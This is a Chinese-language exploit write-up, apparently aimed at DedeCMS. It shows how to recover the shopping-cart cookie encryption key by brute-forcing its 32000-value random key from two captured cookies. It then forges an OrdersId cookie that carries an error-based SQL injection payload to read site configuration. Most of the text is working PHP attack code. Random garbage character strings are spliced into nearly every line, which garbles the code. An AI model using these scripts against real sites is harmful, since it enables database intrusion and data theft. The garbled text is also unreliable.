www.xxx.com/plus/search.php?keyword=8 C. y" e3 J, z4 n: p( K6 P
在 include/shopcar.class.php中
' f* T; R8 M5 y9 Y先看一下这个shopcar类是如何生成cookie的( x! ^1 ~# z( }' [
239 function saveCookie($key,$value)1 S. _" P4 y5 a& r" o* Y
240 {* j( E V2 m# |5 [
241 if(is_array($value))" A! ^( [9 C% k* x* Q0 }: h
242 {
( J3 b7 A3 s5 z: k& T5 x243 $value = $this->enCrypt($this->enCode($value));: A2 j7 d5 N+ D/ m3 d
244 }2 @( s+ t" ]( m1 B/ S
245 else
$ A5 a+ J% W: u! ~: a7 ^246 {
1 E/ M3 E9 X' w" M247 $value = $this->enCrypt($value);
: l0 |' E0 F5 Y0 }2 s248 }: T, M7 i; K p8 V. n. Q
249 setcookie($key,$value,time()+36000,’/');
+ z5 p+ L6 d8 s0 S8 y250 }( H3 J* r; [+ |& l2 J5 n( T; d
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
# X& Y- T+ `& Z- P186 function enCrypt($txt)
# g5 g# P4 h( t% k6 }187 {+ b( v9 r" x1 G' s' Y4 o: y
188 srand((double)microtime() * 1000000);: k: X4 K) _( `6 [
189 $encrypt_key = md5(rand(0, 32000));- R; T% }7 J* j4 l
190 $ctr = 0;$ M+ @. B1 o$ O! R# ^) r; `; C2 Y
191 $tmp = ”;
; c. ?+ ]; B: k3 O, R; H1 T, M192 for($i = 0; $i < strlen($txt); $i++)9 r9 s6 X- o" j1 \& x% X9 a3 Y
193 {6 G$ }9 G# K: s5 o9 F4 H4 D" Z
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
( ~8 N% R9 k" M* z. x195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]); { n! p6 Y! W- H
196 }% c( i( _3 [' v4 i: {! u7 Q1 t1 r
197 return base64_encode($this->setKey($tmp));% F( X* N" s* K6 {7 {
198 }
9 x$ _8 R* d; a' j, p( b213 function setKey($txt)+ l3 a0 j2 Q/ S" i
214 {
. U$ d( L- X/ W# s* w' p( \215 global $cfg_cookie_encode;- U5 i% `- E7 E) v3 g6 J
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));; V' ^ {: f) t# Y
217 $ctr = 0;' g- F5 A' f( M6 e/ ], m( f0 x9 u
218 $tmp = ”;
6 W8 p, B4 K2 g( o/ @; X! l+ ]219 for($i = 0; $i < strlen($txt); $i++)
* ?: R; Q% y& W6 f6 x220 {0 J2 B# x; \* j. k
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
% R$ x, j" K5 x222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; j- Q+ x4 \- b$ z% `: {
223 }3 Z- b" P8 h. H6 a3 X
224 return $tmp;2 I% P. S: K+ \- H# P' E- V
225 }
5 D4 \5 G1 U* I' RenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的( ` R1 K0 v F/ P' B$ o7 U
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
( H, H3 N6 X; u3 n. R具体代码如下:4 ?: j! x- d o8 V
<?php
% [* @1 ]& q3 k; H% j; e$ n$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here$ K. z0 A' u3 f, ^
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here" B$ e3 H8 B% ]$ ?3 i
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
" w4 U) w: b, C$ Afunction reStrCode($code,$string)/ c: ]% o/ ~# Z
{
6 m+ X( X4 m% G! Y D! a+ P& d: b$code = base64_decode($code);
2 M8 ~, E, P5 x8 [0 w& ~/ u5 f) Z$key = “”;
. q, s+ e5 P8 i1 afor($i=0 ; $i<32 ; $i++)
+ ]' i- `. O' X' d! T{% l$ i! H# k& W4 L
$key .= $string[$i] ^ $code[$i];- P5 Z# D# {! D( G& }
}
8 b7 P/ V( O6 F; x* g; kreturn $key;1 M* j8 h x2 I$ _& ] g1 K
}
& E7 q% ~1 {; }& r) W- X, ofunction getKeys($cookie,$plantxt)
+ f: v; r" b I/ @, A3 U; _{- B8 A% h& o4 f: D6 ]
$tmp = $cookie;$ @! p& n6 K7 s
$results = array();
$ [8 [+ N2 ^! }, ]for($j=0 ; $j < 32000; $j++). O' f4 V' u T
{
8 [ }6 {) o) ]; k& G; }+ u( O; V+ i7 n1 V8 |
$txt = $plantxt;! S5 m& m! v7 w8 Y
$ctr = 0;! K/ X# r9 a% A1 _
$tmp = ”;8 d4 H: i, E8 y: I
$encrypt_key = md5($j);1 t5 @% l8 |! n* M
for($i =0; $i < strlen($txt); $i ++)( h Z0 H1 L- G9 e' ]5 @
{( _3 e7 s; n+ g# o# A
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
8 v' K7 W" G" d( O2 w# h$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);+ M; a2 S8 h# a& H4 g2 \
}
2 l& L4 t, a, r" {$string = $tmp;1 r4 q$ F c6 e% ?# y. z M
$code = $cookie;5 k! |/ O: C- K! b! z( Q( L
$result = reStrCode($code,$string);
; ^: Z) N$ s# I$ J. \. D4 d! yif(eregi(‘^[a-z0-9]+$’,$result))
+ ^, k$ [3 P2 _" F" z; ?( V{8 f3 I4 @1 O# c' E
echo $result.”\n”;
4 V0 \- ?& \% b( Z' Q) b$results[] = $result;. _, s0 l0 ]% H6 s
}
% O; A' C& N2 A4 U4 _$ h) k( u}
/ Y: N5 ^. T3 ` A& _return $results;3 Y8 N8 o' l; u, u: O% v
}
. l; L+ b# g( f5 \$results1 = getKeys($cookie1,$plantxt);
8 V" W( b3 z3 E' C& a3 d$results2 = getKeys($cookie2,$plantxt);
6 x# I$ ~* e. a& yprint “\n——————–real key————————–\n”;
9 O3 n0 k+ G: Iforeach($results1 as $test1)2 w. q7 c4 G, C" T2 q
{, S8 o) s5 q4 [ m S0 [
foreach($results2 as $test2)
" e7 f6 G$ z5 G2 Q7 k{8 {3 E* v' S6 g$ Y7 Y& w7 q/ V* Q
if($test1 == $test2)
~5 c( I& _1 c" }5 x- X6 d{
$ K1 f1 V$ Q7 d5 vecho $test1.”\n”;; e2 P& H( U5 r) v9 x9 M C
}
9 G" E: t3 l1 ^: v6 ]5 x1 t}# e1 c) z9 @ c8 _& ]4 G. j
}4 o& V. [8 I4 w
?>! R0 J. h8 S$ R0 `0 i
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,& O% V! I/ N. n
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua13 v) d9 R3 @5 |) M
然后推算出md5(strtolower($cfg_cookie_encode))! b, b. W. I6 j% a! g2 `/ {
得到这个key之后,我们就可以构造任意购物车的cookie
, f/ J9 l" q8 G: n5 K/ }接着看: `" {0 h K5 E1 z: }8 a* {6 x
20 class MemberShops% G: _! N0 N1 l9 J5 P- P
21 {
. S1 W0 F- y" H9 _+ K1 P22 var $OrdersId;9 F4 }) K" L$ n0 M+ z- l
23 var $productsId;3 s9 D9 j& t+ K' w/ I
24
* j' @, X9 t5 L25 function __construct()9 L7 d- Y5 B6 b& L
26 {
/ V8 d; v% h8 u7 h" @27 $this->OrdersId = $this->getCookie(“OrdersId”);8 E, M( t, |; e C
28 if(empty($this->OrdersId))
: U( ~7 }, }) a: X" y$ B8 P/ Z29 {$ K: p J- e. Y. m" H# U+ C
30 $this->OrdersId = $this->MakeOrders();
6 C1 F) j) R; k/ Z9 W" E0 H) k! W31 }
7 j y5 p, F" c% i32 }
$ t6 e0 M6 }) P4 C) [- H4 T E发现OrderId是从cookie里面获取的6 b, ?0 b1 S+ |: L; p7 A0 g ^
然后
5 B2 J) T' z7 B: }" m$ Z+ |/plus/carbuyaction.php中的
7 q7 n8 @& Q4 u8 T29 $cart = new MemberShops();
" P3 l( v2 G3 a& N- | Q( Q39 $OrdersId = $cart->OrdersId; //本次记录的订单号* J% J0 k p% ^+ n0 ?1 a }
……9 O; \8 o0 Q9 w7 S
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
6 Q! X' E* R/ {3 }' G# }. g接着我们就可以注入了, z! o/ W% ]% R4 Y7 |
通过利用下面代码生成cookie:
2 l2 }3 w/ t) ~4 n/ ?' l' o<?php
% L. Q! f& r3 g$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
. @' E5 n- R0 R0 Y, f$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here6 H% x6 q7 ?. p6 g0 Z7 P
function setKey($txt)% @) L% Y* m6 T- s1 ]" i0 @
{
" f) X' z4 @5 Q2 G$ m% rglobal $encrypt_key;
* Q- [; W1 v* r1 i3 n! [9 I% V% r$ctr = 0;
! U3 @. n. B. V) [$tmp = ”;' @0 y& f J. v$ ^
for($i = 0; $i < strlen($txt); $i++)7 @( s. `: j2 i2 g) m; n2 }7 Y- {
{" p; f$ L/ k* w) ], ?! D2 K
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;: n. w5 y L# C0 q+ @- ~
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];3 m) d1 j9 j% N( F3 y; s
}
3 }8 D8 x P5 @return $tmp;$ H# v* h. m# T/ {- E3 Z& h- T
} T3 V8 N- k$ w Q& ]/ G
function enCrypt($txt)" J0 s) |+ H; n. V( k; b% b2 F
{% f; q% N/ I* P3 B% J
srand((double)microtime() * 1000000);
- ?8 o3 K7 P4 S! J7 l& O8 R7 p7 n0 H* J$encrypt_key = md5(rand(0, 32000));# e7 {, J8 @7 U3 _, k2 r9 z/ a; g
$ctr = 0;
3 o, [6 m Y/ s* H$tmp = ”;- |! k/ U) L" w4 ^- ~: q- j; a
for($i = 0; $i < strlen($txt); $i++)
/ G2 Z& A, v5 U g{+ d& A- `0 y7 r7 ?6 M, k
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# r9 n. U$ G3 Y& w7 i/ Q: R$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
+ m) \' p j6 x- t+ k}
9 c% } k# y Y- f$ Qreturn base64_encode(setKey($tmp));2 R9 _( L) M( v
}0 P" f- S8 Q: W' u7 }5 v$ H- q% N5 C! [. K
for($dest =0;$dest = enCrypt($txt);)
) e) R4 u9 Z5 D, \& _# ?- n{7 B9 A+ S8 J+ N3 p$ a$ O& S
if(!strpos($dest,’+'))
0 i* F( ], J# i+ j, M{
! K }3 a3 X6 f/ e/ L! R' Q2 O7 \break;
0 I! ]0 Q: U- A}3 j# B- @& j) p7 Z" @- o+ J
}
* v+ C; Z @! X8 w. Q5 t; A+ }echo $dest.”\n”;( Q. g6 Y" f* {: K- n
?>
8 o7 Z7 A/ h% s( Y/ W$ G' y& v) U y7 G: W7 [, X8 M
|